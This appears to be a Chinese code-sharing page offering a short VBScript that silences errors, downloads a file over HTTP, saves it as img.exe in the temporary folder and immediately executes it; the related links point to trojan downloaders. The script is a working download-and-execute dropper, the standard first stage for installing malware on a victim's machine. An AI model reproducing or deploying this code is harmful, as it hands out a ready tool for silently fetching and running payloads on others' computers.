复制代码 代码如下:
'on error resume next
dl = https://www.jb51.net/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '缓存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1
您可能感兴趣的文章:- 支持断点下载的VBS代码
- vbs 多线程下载实现代码
- VBS下载文件的新方法
- VBS 下载方法(CDO.MESSAGE)
- 使用vbs下载文件的代码加强版
- 一个收集的下载木马并运行的VBS代码
- 用ASP VBS xmlhttp adodbstream下载和保存图片的代码
- VBS下载者(通过vbscript实现文件下载)
